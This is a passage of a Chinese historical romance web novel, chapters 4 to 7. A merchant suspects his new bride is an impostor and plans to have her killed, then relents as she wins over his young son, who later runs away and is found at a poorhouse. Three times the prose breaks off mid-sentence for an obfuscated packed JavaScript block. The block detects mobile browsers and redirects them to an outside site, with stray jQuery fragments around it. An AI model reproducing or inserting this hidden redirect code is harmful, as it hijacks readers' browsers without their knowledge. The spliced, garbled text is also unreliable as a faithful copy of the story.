他的脸沉得像窗外的夜色：“那女子，不是真正的姜越，杀了她。” 4. 立雪 “爷，您是说，夫人？” “一个有几分小聪明的冒牌货罢了。” 元旌仔细回想：“听闻昨日您走后，有位老大人当堂大闹，对您言辞侮辱，差点血溅喜堂，是她妙语连珠化解了危机，若换作寻常女子，早吓破胆了。” “你倒提醒我了，那几个擅出的墨卫，还没来得及追究他们责任。” “爷，他们也是替您不平……” “让他们自己领罚。” “……是。” 元旌兀自琢磨了一会儿，又道：“可是姜姑娘一向才思敏捷，有此反应也属正常。爷是怀疑，她一介弱质女流，不可能救起阿旺那样的壮汉？” 谢昭轻笑：“起初，我只觉得她未必能有那样好的体力和水性。后来，我命她给我洗脚，处处苛待，她居然逆来顺受，忍气吞声，以姜越的孤高清傲，怎可能如此？” 想起她按摩时雷霆万钧的力道，谢昭感觉脚底一阵抽筋，禁不住打了个哆嗦。 “可是爷，兴许她是害怕母家受牵连，刻意讨好您呢？” “再后来，我假意要与她行周公之礼，她却变得伶牙俐齿，与我反唇相讥。姜越乃大家闺秀，端庄持重，断不可能说出那样的话。” 想起床榻间那番羞辱之言，谢昭有些窘迫地咬住下唇，刻意避开元旌的眼神。 “如此说来，倒是疑点重重。” “你再看看她教知雨答的诗。” 元旌拾起那张脏兮兮的卷子，随口念出来：“垂死病中惊坐起，扶摇直上九万里？” “两岸猿声啼不住，一行白鹭上青天？” 他边看边乐：“如今士商交好，学风渐盛，她还以为咱们商人没文化呢，更何况爷……” 谢昭直言：“你再看看最后那一句，怀霜负雪无问路，雪上空留马行处。” 元旌会意：“四年前，爷曾有缘读过姜姑娘的《霜雪吟》，她自己的诗作，不可能瞎答一气，绝对有鬼……爷，会不会是姜家搞的鬼？那姜尚夫妇最疼这个小女儿，不愿让她嫁，反正平日里也没让见外，找人顶替也看不出。” 又埋怨道：“若不是爷抢先一步提了亲，他们的宝贝女儿早在姓王的手上受尽侮辱了！居然还这样待我们，真是不识好歹。” 谢昭看向夜色中分明的雪色，目如炬火：“不管她是何身份目的，今晚都让她消失。” …… 元旌走后不久，有人送来温好的汤药，谢昭皱着眉喝下，撑着看了好一会儿账本，听着炭盆里红罗炭的哔剥声，神思开始有些倦怠。 他微阖着眼，恍惚想着昨日发生的事，不知怎地，眼前忽然浮现出那女子的脸。 老实说，她生得很标致，甚至比他记忆里的姜越更多一分灵气，他也并不讨厌她。只是这样来路不明的人，他没工夫详查，也担不起风险，索性一杀了之，永绝后患。 他浑噩了许久，直到炭火都熄了，终于被元旌唤醒。 “爷，这可怎么好？她……她自从用过晚食就一直和小少爷待在一起，片刻也没离开。属下怕吓着小少爷，不敢轻举妄动。” “现在是什么时辰？” “已过戌时了。” 谢昭思量片刻，起身披上鹤氅：“我去把知雨抱走，你动手。” “爷，可这会儿正下雪呢！您的身子……” 谢昭心意已决，推门而出。风呼啸而入，将他单薄的身形裹在飘扬的氅衣中。 他直直走入风雪，肩头白鹤流转，消隐在无边的夜色里。 听元旌说，她和知雨在晏清堂用过饭食后，并未返回寝房，而是在园中一路漫步，直至下雪才进到知雨轩暂避。这样冷的天气，若非别有用心，断不会冒着寒风闲逛，念及此，他愈发叮嘱元旌，决不能留她到明日。 知雨轩外山石环绕，草木成群，谢昭二人匿在一处背柱下，透过落地长窗，见那女子将知雨抱在怀里，正亲昵地说些什么。只是此轩三面临水，溪声潺潺，总是听不太真切，不由怨道： “当初修这园子的时候，我就说别那么多讲究。” “还不是想着诸位大人爱在风雅处歇脚，说起来，它也帮了咱们不少忙。” 谢昭又仔细听了好一会儿，终于听出她是在给知雨讲故事，讲得那叫一个兴高采烈。 “那诸葛孔明越骂越起劲，‘皓首匹夫，苍髯老贼，你即将命归九泉之下，届时有何面目去见汉朝二十四代先帝！二臣贼子，你枉活七十有六，一生未立寸功，只会摇唇鼓舌，助曹为虐！一条断脊之犬，还敢在我军阵前狺狺狂吠！我从未见过有如此厚颜无耻之人！’” 知雨一向不与他亲近，此刻却舒展着小脸，搂着她脖颈，贴在她怀里咯咯直笑。 …… “娘亲，那后来呢？” “再看那王朗，早已是急头白脸，怒火攻心，瞬间跌落马下，吐血气绝而亡！” “诸葛孔明真厉害！和娘亲一样厉害！” 谢昭抿紧嘴唇，好半晌才吐出一句：“真没想到，她还有点子说书的天赋。” 元旌听得心潮澎湃，咧嘴附和：“那是，咱们小少爷已经很久没这样笑过了。” 谢昭投来一记找打的眼光，元旌立马正色，晃了晃腰间佩刀：“爷，您看是不是待会儿就动手？” 又听得知雨脆声道：“娘亲，待会儿睡觉前，我还要听诸葛孔明的故事！” 她倒应得痛快：“好，娘亲不光给你讲诸葛孔明，还有赵子龙，吕奉先，关云长……” “那娘亲，明日我再让小厨房给你做好吃的。” “知雨真乖！” 二人嬉笑间，谢昭眸光忽闪忽暗，突然改了主意。 “阿旌，明早朝食后再动手。” “可是爷，不是您说，让她今晚就消失吗？” 谢昭已然飘走。 …… 翌日晨，霜华堂正厅。 谢昭姗姗来迟的时候，屋内已经飘满了食物的香气。 他一眼就看见桌上摆满了珍馐美馔，用料之讲究、数目之铺张远超平日，刚要开口责难，目光却被她牢牢吸引。 她今日扮得倒娇俏，夭桃色的雪领披风缀满银色小蝶，内里鹅黄乍现，身下一瀑石绿，掩不住的盎然生气。知雨乖乖坐在她腿上，嚷嚷着要吃牛乳酪，像个可爱的糯粉团子。 …… 他哑了口，一声不吭挨在她身旁坐下。 “爷。” “嗯……” 嗯？ 她仅仅是出于礼貌叫了一声，连寒暄一下也不肯，就忙着和知雨母慈子孝去了，全当自己是空气啊？ 谢昭盯着面前空空如也的青瓷碗，又瞟了眼知雨碗里满满当当的山栗粥，不满地咳了一声。 有下人上来布菜，谢昭手一挥，让他们都下去，坐在桌前岿然不动，等着她招呼自己。 …… 她不是忙着喂知雨，就是忙着专心进食，连一眼都没给自己。 “咳咳。” 谢昭故意咳得大声了些，却湮没在叮叮当当的碗箸声中，眼看她夹起一片又一片五香鹅脯，和知雨母子尽欢，竟然一片也没留。 她又夹起碟中最后一粒车螯烧麦，一个不小心掉在他碗里，生怕他吃了去，夹走的速度比风还快。 …… 他终于忍不住冲人发火。 “管家，今日为何准备了这么多菜式？谁许你如此铺张浪费？” 管家颤颤巍巍上前：“爷，小少爷体贴夫人辛苦，特意让厨房多做了些……” “他不懂事，难道你们也不懂事吗？三个人，十八道菜，有你这么当家的吗？” 谢昭冷冷扫过桌上那些精美菜肴：“剩多少，就从你月银里扣多少。” 说罢微扬嘴角，看向她清亮的杏眼。 她自不卑不亢，胸有成竹道：“管家你放心，有我在，一分一厘都不会扣。” 蟹黄蒸饺、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242684|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脆火烧、酢腐、煎炒鹅肠、茉莉汤…… 众人目瞪口呆看着她横扫秋风，将桌上杀得片甲不留，谁也没料到这么个纤弱淑女，竟有如此大的肚量。 管家更是感动得直抹泪——夫人为了他不受罚，不惜忤逆爷，强撑着也要吃完，今后他定为夫人鞍前马后，赴汤蹈火也在所不辞。 谢昭空着肚子从霜华堂出来，见元旌正将一块山楂糕放入嘴里，没好气道： “事还没办完，谁让你吃东西的？” 元旌委屈：“爷，我刚从外头回来，好不容易垫垫肚子。” 想起方才，她对管家都比对自己上心，谢昭冷脸：“吃完赶紧干活，那人一刻也留不得。” …… 雪从昨夜就没停过，这会儿愈发放肆，霁园早已是满目清白，苍茫无际。 谢昭回了翰墨斋看书，手边温了盏清茶，勉强抚慰空落落的胃。 其实他本就没什么胃口，答应与她进餐，不过是想最后再看她一眼。早知她如此态度，昨夜就该动手，倒便宜她做了个饱死鬼。 他心情不佳，随手翻了本书看，好巧不巧，读到一句“物色之动，心亦摇焉”，眼前又现出她的模样。 那一株亭亭而立的春色，在他心上摇摇晃晃，晃得他思绪不宁，竟生出几分悔意。 她聪敏机变，替老者和谢府化干戈为玉帛； 冒着身份败露的风险，以德报怨救戕害她的下人； 心地善良，帮管家免于受罚； 更真心对待知雨，陪他讲故事做功课，不惜顶撞自己。 若是就这样把她杀了，将来知雨会不会记恨他一辈子？ 她究竟是什么人？是否该让阿旌先去调查一番？ 正胡乱想着，听见门咚咚直响，手中杯盏险些落了地。 元旌匆忙来报，面露难色：“爷，她……” “她怎么了？” “她和小少爷寸步不离，现下正在斓园玩雪，我一直没寻到机会动手……” 谢昭松口气：“没出息，我去。” 霁园佳景无数，斓园正是其中赏花赏木的好去处。无奈今岁天寒，金秋未暮而丹桂早谢，四季鲜妍不败的斓园，头次有了寂寥之意。 二人踏风声呜咽而入，一眼就瞧见，今日的斓园格外有了颜色。 天地肃白，她笼在灼灼桃红里，眉目淡远，巧笑嫣然，转身掀起雪云袅袅，投下碧影落落。 知雨一身浅绿，戴着顶观音兜，围着她嬉笑奔跑，不时抓起雪丢在她身上，她也不恼，专心干着自己的活。 谢昭同元旌站在一棵古松下，静静看她忙活了半天，终于发问： “她这是在干什么？” 元旌瞅着那貌似人形的雪堆，勉强道：“应该……是在堆雪人。” 谢昭眯着眼打量那个眼歪口斜的雪人，嫌弃道：“这么丑的东西，怎能在我们眼皮子底下出现？” “那属下去把它推了。” 谢昭一把拉住他：“欸，急什么，先看看再说。” 她干活很是卖力，一刻也没闲着，折枝给大雪人安上臂膀，又在它身侧堆了个个头稍矮的雪人。 对知雨也很是耐心，舍得蹲下身来，让他拔了自己头上一支珠钗，插到那雪人头上。 元旌打趣道：“这一大一小，一男一女两个雪人，莫不是指……” 谢昭抿嘴不语。 不一会儿，她又在两雪人之间堆起一个小小的雪人，知雨兴奋跑来，摘下观音兜戴在它头上。 “娘亲，你看，这是我！有你和爹爹在我身边，我以后什么也不怕了。” 风刮得猛，元旌拢紧外衫，却见谢昭任风刮着，眉心一粒厚雪也不曾拂下。 等风过阵，谢昭缓缓开口：“先不慌杀她，查查她身份再说。” “啊？爷，不是您说，一刻也留不得吗？” 谢昭凝神望着那两大一小三个雪人，思绪已飘至天外。 5. 出走 李清白搓着冻得通红的手，看知雨在雪地里疯跑撒欢儿，与小沛抱怨： “不就下场雪嘛，这么高兴。” “您是不知道，咱南方见场雪有多稀奇，就是我们小姐，自出生起也只见过三回呢。” “懒得要命，自己想堆雪人，到头来还不是使唤我，手都冻僵了。” “那奴婢去拿个汤婆子给您暖暖。” 小沛没走出去两步，她忽听得“哎呀”一声，转头一看，小沛正龇牙咧嘴地揉着右腿，不远处知雨满脸得意，冲她们扮了个鬼脸就跑。 “谢知雨！你给我等着！” 这小子，什么好的都不学，偏偏学人捏雪球打雪仗，还欺负她家小沛，看她怎么收拾他！ 她解下披风扔在雪地里，拿出在京城干架的气势，抟了五个实心大雪球，揣在怀里就满世界找他。 “嘿！” 知雨那小身板倒是灵活，她方位力道都刚刚好，却连着三次都被他闪过，还遭到小家伙嘲笑，顿时起了好胜心，定要把他砸趴下不可。 “知雨，看招！” “娘亲，你打不到我！” “有本事你别躲！” “哈哈哈……” 疾风将银铃般的笑声传至谢昭耳畔，这样活泼热烈的光景，十数年前他也曾有过。 那时妹妹正是爱疯的年纪，几位弟弟都性格沉稳，唯有他这个做大哥的肯陪她玩闹。隆冬京城时降大雪，妹妹对堆雪人不感兴趣，独爱打雪仗，有时玩得尽兴，到天黑也忘了回堂吃饭，还被祖父罚跪过一回，他就让妹妹跪在他膝上，总归不能让她受委屈。 可后来…… 回忆痛苦上涌，连带着左膝突如其来的剧痛，令他如遭电击。 他愤而望去，惴惴站在二十步开外的，正是那不懂事的幼子。 知雨缩着身子，把头垂得很低：“爹爹……对不起……” 许是怕他凶孩子，她很快跟着过来，把知雨罩在身后，自个儿又往前走了几步。 “爷，是妾不好，带着知雨玩闹。您别责怪他，要怪就怪我吧。” 谢昭见她满身疏离，全然不似方才与他们热络的模样，寒着脸道： “你是想说，这雪球是你砸的？” 气氛一时冰冷，知雨急得快哭，她不作回应，元旌在一旁干站着，也不知该如何帮他们圆场。 可下一刻，他就张大了嘴巴，目睹她飞快搓了个顶大的雪球，用力朝谢昭右膝砸去。 “爷！” 在元旌的搀扶下，谢昭勉强撑住，才不致摔倒。他脸色青白，她反而睁着双波光盈盈的眼，笑得狡黠： “现在是了。” “你……” 噗！ 还没来得及发火，谢昭右腿也挨了一球。 他今日虽也披了大氅，可内里穿得单薄，那样硬实的雪球，生生砸在他身上，哪怕没有旧伤，也能感觉到明显的疼痛。 见他吃瘪，她噗嗤一声笑出来，像只鬼精灵的野兔。 “爷，来都来了，一起玩嘛。” 雪球像雹子般飞砸过来，他怔怔立在原地，恍惚梦回从前。 “再不还手，您可要被我们砸成落汤鸡了！” 又一记真切的痛感，将他拉回现实。她笑得如春风般灿烂，令他情不自禁想从这寒冬里脱困，暂时忘却身份，做一回肆意发疯的少年。 那些读书时才有的争强好胜，压抑多年的从心之欲，如她身上鹅黄的小花，石绿的草木，重新在他体内抽芽生长。 他小心翼翼驱动着这具麻木已久的躯壳，笨拙地捏了一个雪球，脸上开始有了笑意。 “姜越，你给我过来！” “爷，这就要看您本事了！” 她衣衫明丽，目标突显，元旌跟着加入战局，帮着谢昭砸了她好几下。 她也不甘示弱，让知雨和小沛做帮手，狠狠予以还击。 雪仍在下，五人笑着闹着，忘情拉扯，仿佛从前隔着千山的距离，瞬间化为咫尺。 小沛他们打得难舍难分，谢昭无辜受累，连遭了好几记重创，于是悄摸找了丛腊梅树躲着，打算先歇口气，养精蓄锐再来。 她眼尖，偷偷跟着他到了树前，掏出怀里那颗三球合成的无敌大雪球，打算给他来个措手不及。 腊梅还未开，四放的枝丫上挂满玲珑的骨朵，谢昭的苍青色大氅掩映其中，自成风景，倒令人忍不住驻足欣赏。 她抱球看着，冷不防被一张熟悉又陌生的脸吓了一跳。 谢昭不知何时回身，与她四目相对，眼角眉梢皆含笑意： “怎么，这是打算偷袭我？” 她心虚想跑，手一松便掉了球，着急想要去捡，脚下一滑，整个人都要摔到地上。 谢昭眼疾手快搂住她腰。 长到十八岁，除了与人动粗，她从未与男子有过这样的身体接触。本以为会抗拒，此刻却不知为何动弹不得，只好老老实实待在他怀里，忍住悸动不去看他的眼。 即便是有意回避，她依然能体察到他眼神的温度，比他手心还要灼热几分。 小沛和知雨赶来时，正巧看见谢昭把她抱在怀里，一手贴着她的腰，另一手悬在空中，僵硬得像被风雪点了穴。 小沛捂眼大叫，知雨拍手称好，谢昭觉察到有人，慌忙松了手，任她“哎唷”一声跌到地上。 他轻咳一声，捡起地上摔成几团的雪球，一股脑扔在她身上。 “你们输了。” …… 谢昭走后，李清白揉着摔痛的屁股，抱怨许久仍停不下来：“他这人怎么这样！我好歹也是他明媒正娶的夫人，说松手就松手，半点怜惜之心都没有，冷漠，无情……” 小沛给她重新系好披风带子，笑道：“好了好了，咱不跟他一般见识。” 知雨倒是非分明：“爹爹坏。” 对此她很满意：“还是我儿懂事，知道心疼娘亲。” 她自顾自恼了一阵，忽而发现了异常：“欸，怎么没见元旌？” “方才追过来的时候，空中飞来一只信鸽，他截下鸽子，看了信就走了，走得很急。” 直觉告诉她，这当中一定有什么不可告人的秘密。她拉上小沛和知雨，佯装游园观雪，总算在君子池畔发现了谢昭与元旌“密谋”的身影。 君子池内本遍栽芙蕖，蔚然可观，此时霜雪漫天，锦鲤冰封，一地枯荷，池畔黯然垂下的枯柳枝，将二人身形衬得格外落拓。李清白三人猫在西北角向远亭中，张大耳朵偷听，只可惜风声太大，根本听不清在说什么。 她握着拳头悔恨：“早知道就学唇语了！” 小沛宽慰：“兴许也不是什么要紧事。” 知雨却忧心忡忡：“他是爹爹最信任的人，只听爹爹命令，但凡自行外出，都是有顶重要的事。只要爹爹跟着他走了，总有大半个月都回不来。” 知雨这小嘴像是菩萨开过光，不到半盏茶的时间，二人就紧着步子离开，看方向正是往府门去。 她和小沛都还没反应过来，知雨就先慌了神，跌跌撞撞朝二人奔去： “爹爹！” 他叫得撕心裂肺，她也不懂是怎么了，快步上前去追。知雨跑得很急，一个趔趄就摔在了回廊上，眼泪大颗大颗往外涌，挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242685|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舞着小胳膊小腿儿耍赖： “爹爹！我要爹爹！” 她把他抱起来哄：“哭什么，爹爹只是出趟门，又不是不回来了。” 知雨哭得上气不接下气，仍一个劲喊着：“爹爹！爹爹！” 顺着知雨的视线，她遥望那个苍青色的背影，穿过银枝褚墙，与皑皑白雪融为一体。有那么一瞬，她也错觉他好像停了一步，只是他终究没有回头，渐渐消失无影。 …… 果不其然，这一下午，谢昭和元旌都没能回来。 起初，她尚有耐性安慰知雨，爹爹晚上就会回来的，爹爹明天就会回来的，可知雨是个实实在在的小哭包，见爹爹久久不归，泪如雨飞，险些要把她房间都给淹了。 “娘亲，我要爹爹……” 知雨再度缠住她腿嚎啕大哭、不让她去厨房时，她终于耗尽了所有的耐心，呵斥道： “有什么好哭的！早上哭，下午哭，不知道的还以为你爹死了呢！” 老实说，她还真这么想过。谢昭经商多年，树敌颇多，没准儿哪天出个什么意外，船沉了，被人买凶暗杀了，她定拍手称快。 一听这话，知雨居然止了哭，呆呆在原地站着，一个字也不说了。 她总算得了清静，忙让下人把知雨抱回去。这一下午被他吵得头昏脑涨，连吃东西都不香了，撑着精疲力竭的身子倒在床上，睡了个昏天黑地。 外头呼呼的风声是她习以为常的催眠曲，安稳飘入尚处北地的梦境，直到梦中她被人捏住肩膀，晃得骨头都要散架了： “夫人，醒醒！夫人！” 她吃痛睁眼，人已不在梦中，眼前是小沛焦急的脸： “大事不好，小少爷他，他离家出走了！” 她骤然惊起，抓住小沛手臂：“好好的，怎么会离家出走？” 小沛被她抓痛，苦着脸道：“小少爷回去以后就不哭不闹，下人们以为您把他哄好了，都没太当回事。半个时辰前，他买通府卫，独自溜出了后门，那两个家伙还算有良心，左思右想怕出事，壮着胆子报告了管家，这才发现。” 她抓得更紧：“那他们可知他往哪个方向去？他走时带了什么？” “小姐，您的臂力……” 她松手致歉，急切道：“你快说。” “小少爷走时，背了个小包袱，下人们清点了一番，应该是带了两身换洗衣服，偷装了些碎银子。” “他们没派人去找吗？” “附近都找过了，根本没有小少爷的影儿。” 她沉思片刻道：“他这是要出远门，去找谢昭呢。你和管家说，各派两人，骑快马至珠瑜湾、江都港、东关渡、瓜州渡拦截，决不能让他上船；另外，各派五人，往每条去往码头渡口的必经之路打听寻人。一旦有了消息，放烟花弹通知，外头天寒地冻，务必快些把他找回来。” “是。” 小沛走后，她在房内来回踱步，总感觉哪里不妥当。 仔细回忆与知雨相处的点滴，猛然想起，他脖子上一直挂着那把足金的长命锁，几日来从未取下！ 旻朝近年外事动荡，灾害频发，饶是在富庶的江都街头，也多了不少乞丐流民。那孩子装扮如此招摇，若是被人盯上，只怕有生命危险！ 一股激流猛冲天灵盖，她迅速换上便装，向管家要了匹马，提缰就往大道上奔。 “吁！” 马儿受惊停步，扬起烟尘滚滚，她瞪着那不知哪里冒出的肇事者，喝令道： “让开！” 那人却慢悠悠凑到她跟前，笑嘻嘻道：“阿白，你这是急着到哪儿去呀？” 6. 寻子 见来人是夏荫，她不情愿地收起了脾气：“去找人。” 夏荫摸着那小红马的鬃毛，悠悠道：“谁丢了？该不会是你那落跑夫君吧？” “他？他丢了我还巴不得呢。是谢知雨，下午被我说了两句，自己离家出走了。” “啧，现在的小孩，心理承受能力也太差了。怎么，你说他是奸商的儿子，他不高兴了？” “少贫嘴。那孩子才四岁，背着个包袱，挂着把大金锁，且不说冻坏身子，被人谋财害命都有可能，我得赶紧把他找回来。” “你就不问问，我查到了什么消息？” “少废话！”李清白朝身后努努嘴，“跟我一起去找人，找到了再说。” 夏荫握住缰绳，蹬鞍上马，反将她挤到身后。 “喂，你干嘛？” “若让人看见姑娘家骑着马载着我，岂不是很没面子？” “别浪费时间，骑快点，看见点灯的人家，就上去问问。” “那你可坐稳了。” 夏荫平日里虽没个正形，老是躲懒懈怠，正经办起事来，倒也有模有样，更依她描述画下知雨出走前的形象，雇了人到处分发。 又半个时辰过去，走完了人口最多最杂的东兴、南平二街，嘴皮子都说干了，仍旧一无所获。 李清白沮丧地从街尾一间药铺出来，找了个石阶坐下，把头埋进双臂，久久不言。 夏荫从怀里掏出个帕子，垫在她身旁坐下：“喂，那小孩对你那么重要？” 她抬起头，眼圈红了一片：“我不该那么说的……那孩子心思敏感细腻，我再怎么讨厌谢昭，也不该咒他，去伤那孩子的心。” 见她泫然欲泣，声音也变得嘶哑，夏荫心有怜惜，拍拍她肩膀：“喂，我倒有个法子。” “你有办法？” “本朝太祖在位时，曾设养济院制度，由官府出资，收养鳏寡孤独的穷人和乞丐。当中有些人本就是丐头，对地方情况了如指掌，咱们不如去问问他们。至于这人情费嘛……我就勉为其难替你出了好了。” 李清白噌地一下站起来，连拖带拽把夏荫拉上马。 “喂，你干嘛？” “坐稳了！” …… 马儿飞至养济院门前时，鼻孔喘着粗气，累得四蹄皆软，趴在地上就不肯动了。夏荫勾着腰，扶着那座老槐树吐了一地，招来李清白嫌弃： “只听过晕船的，还没听过晕马的。” “姑奶奶，你这翻江倒海的技术，谁受得了啊？” 李清白没理她，径直走入院内。 此院布局虽促狭，砖瓦也老旧，却是干净整洁，井然有序，一看就是精心打理的模样。主厅亮着昏暗的灯光，随即走出一名样貌和善的老伯，见她眉头紧蹙，关切道： “娘子可是遇到了麻烦？” 她作揖行礼：“老伯，有一事相求。” “不敢，不敢。娘子且先坐下，慢慢道来。” 她越讲越着急，老伯却是越听越放松，听到最后，抚须朗笑： “娘子无需求人，你要找的人，就在东南角那间福辉堂里。” 拜别管事人何伯，她旋风般冲进福辉堂，看见那个令她提心吊胆的娃娃，脸上挂着风干的泪痕和鼻涕印，脖子上挂着大金锁，正和一个粉雕玉琢的小姑娘有说有笑，顿时气不打一处来。 知雨也发现了她，脸上绽开花朵，屁颠颠张开双臂跑过来。 “娘亲！” 知雨满心欢喜冲进她怀抱，迎接他的却是屁股上重重一击。 “哇……” 知雨吃痛大哭，她还不解气，又朝他屁股上狠狠打了三下。 “叫你离家出走，叫你离家出走！都不跟娘亲讲，遇到坏人怎么办！” 打完孩子，她才如梦初醒，不可置信地看着自己的右手，一把将他搂入怀里，声泪俱下。 “知雨，知雨！是娘亲不好，娘亲不该骂你，更不该打你，娘亲是太着急了，对不起……” 晚来一步的夏荫，扶墙看他们母子相拥而泣，不解地挠挠头。 她还没个相好呢，真把那孩子当亲生的了？ 那个和知雨谈笑的小姑娘，长得乖巧，人也伶俐，见她在桌前坐下，默默倒了杯温水，小心观察着她眼色，一点点挪到她手边。 知雨止了抽噎，抱着她手臂撒娇：“娘亲，我不是故意要离开你的。我，我越想越害怕，怕爹爹又受了伤，想去大悯寺给他求个平安符，送到他手上。” “什么叫，’又受了伤’？” “爹爹外出跑商，总会遇到凶险。有次丢了两船新茶，爹爹没日没夜追查，东西是找回来了，他也受了伤，流了好多血，差点死掉。” “啊？不就是两船茶叶吗？” “爹爹说，谁敢动他的银子，就是动他的命。” 啧…… 她和夏荫相视无语。 这奸商，要钱不要命哪。 “那个大悯寺，很灵吗？” 话一出口她就自知失言，不免懊恼，还好知雨并没发现端倪，巴巴儿地给她解释： “千年古寺，当然灵啦，可是路上不好走，我走到这院门前就摔了一跤，幸好阿莳发现我，把我给救了回来，说起来，阿莳她可是我的救命恩人……” 知雨说着说着，脸颊开始像烟霞般变幻，那个叫阿莳的小姑娘眨巴着水灵灵的鹿眼，抿唇听着，也羞涩地跑开了。 呃…… 这小子平日里不好好读书，都在想些什么呢？ 这时何伯也来了，给他们送上姜茶，宽解道：“娘子不必忧心，过会儿风雪小了，我遣几个年轻力壮的小伙子，送你们回府。” “那就有劳何伯了。” 小姑娘阿莳不仅体贴懂事，人也聪敏好学，知雨还在那对着烛光玩手影呢，她却捧了本书安安静静坐下，惹来众人好奇： “这么晚了，在读什么呀？” 阿莳细声细气道：“是《诗三百》。” 李清白瞟了一眼，见那上面爬满了艰涩的文字，觉得头又开始痛了，感慨道：“真是个好学的孩子。” 知雨凑过来：“哇，你也读这么难的诗啊？” 小姑娘笑得恬静：“有人教，自然不难。” 夏荫表示疑惑：“这养济院，照理来说只供你们吃穿居住，哪有人来教学问呢？” 她把书紧紧抱在怀里，露出崇拜的神情：“面具叔叔会来的。” “面具叔叔？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242686|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 何伯解释道：“有位戴面具的好心人，总在夜里过来，给孩子们送些东西，顺带着教他们念念书。这里十多个幼童，个个都识得字，有的还会作诗作文，全是他的功劳啊。” “这是行善积德的好事啊……可他为何总在夜里来，又为何戴着面具呢？” 何伯长叹一声，深表惋惜：“我也问过，他说，少年时一场劫难使他面目全非，如今只能如此。” 李清白也跟着叹气：“是可惜了。” 阿莳听见他们在说面具叔叔不好，故意指着书中批注大声道： “面具叔叔的字可漂亮了！” 众人循声望去，见诗旁工整书着几行小楷，隽秀挺拔，足见此人功底。 李清白赞道：“字写得这样好看，定是个清风朗月的君子。容貌逊色又如何？总比那道貌岸然的衣冠禽兽强。” 想起谢昭那惺惺作态的腔调，她恨不得把晚饭都啐他身上。 又看向仍在发痴的知雨，恨铁不成钢道： “你以后可别跟……可得跟阿莳好好学学，最起码，要把认真好学的态度摆出来，你爹看了高兴，就不会再动戒尺了。” “那娘亲，我以后能经常过来吗？” 那小子，哪里是想跟阿莳一块学习，分明是想和她多亲近！ 她忙不迭把他快黏在人家身上的眼珠子扯回来：“你若肯好好学，让你爹满意，娘亲天天带你来。” “娘亲万岁！” 屋子里氛围好得出奇，两小人儿趴在一起，脑袋挨着脑袋，用清脆的童声读着“蒹葭苍苍，白露为霜”，她忽然有些感动。稚子之心，大抵是这世上最纯真也最宝贵的东西吧。 时辰不早，很快就到了分别的时候。知雨恋恋不舍拉着阿莳的手，磨磨蹭蹭不肯走。 她轻轻把他手拨开：“知雨，我们要走了，和阿莳说再见。” 知雨咬着下唇，嗫嚅道：“娘亲，是不是说了再见，以后就很难再见了？” 她一时不知该怎么答。 论身份，他们不该到这里来，若是被谢昭知道，指不定又要发多大的脾气。方才对知雨的承诺，不过是随口一说，她既铁了心要隐瞒，以后，大概也不会再来了吧。 知雨仿佛感应到什么，毫不犹豫摘下脖间的长命锁，要挂到阿莳身上。 她伸手拦住：“知雨，你这是做什么？” 且不说这把五寸宽三寸高的实心足金锁，若以市价论，能抵上寻常五口之家两年的用度，就这样随随便便将自己的福泽拱手送人，恐有夭寿的风险。 知雨眼中起了真挚的泪花：“娘亲，方才听何伯说，曾有个道士伯伯过来算命，说阿莳活不长，所以大家都对她很好，她也对别人很好。如果没有阿莳，我恐怕早就冻僵了，所以，我要把长命锁送给她，护她长命百岁。” 一瞬间，无数个后果在她脑海闪过。谢昭会不会打知雨？会不会迁怒于她，责罚府中下人？抑或把他们关禁闭，再难与外界通信，从此断了她查探之路？ 可最终，想要成全他稚子之心的这份坚定，抵过了所有所有。 她蹲下身，将那把金锁挂在阿莳胸前，笑容温柔绵长。 “我们阿莳，可一定要长命百岁啊。” 7. 为仆 夏荫牵着小红马，她牵着知雨，齐齐整整走在回府的路上，和谐得仿佛一家四口。 街灯将影子拉得老长，知雨盯着最长的那条琢磨了一会儿，忽然觉得不对，指着夏荫鼻子凶道： “喂，你是谁？” 夏荫感觉莫名其妙：“喂，我刚才就在那里，你怎么现在才问我是谁？” “老实交代！还有，不许你站我娘亲旁边！” “你管得着吗你？” 怕他俩吵起来，李清白赶忙打圆场：“这是我娘家府上的家丁，叫应夏，陪我出来找你的。” 夏荫气得跳起来：“什么！居然说我是……” 李清白把他嘴牢牢捂住，一本正经道：“这人祖上原是做官的，和我家有些交情，后来家道中落，受了刺激，我爹看他可怜，就把他接到府中，给点事做。他有时行为怪异，脾气也不好，你别和他一般见识。” 知雨点头表示惋惜：“长得这么俊，可惜是个不中用的家伙。” 夏荫奋力从她手上挣脱，扯着嗓子道：“什么家道中落，受了刺激？李清白你有病吧！我……” 她伸手再捂，知雨连连摇头，可很快抓住重点：“欸，什么清白？” 她讪笑：“他这是骂我不清白呢。这人脑子就这样。” 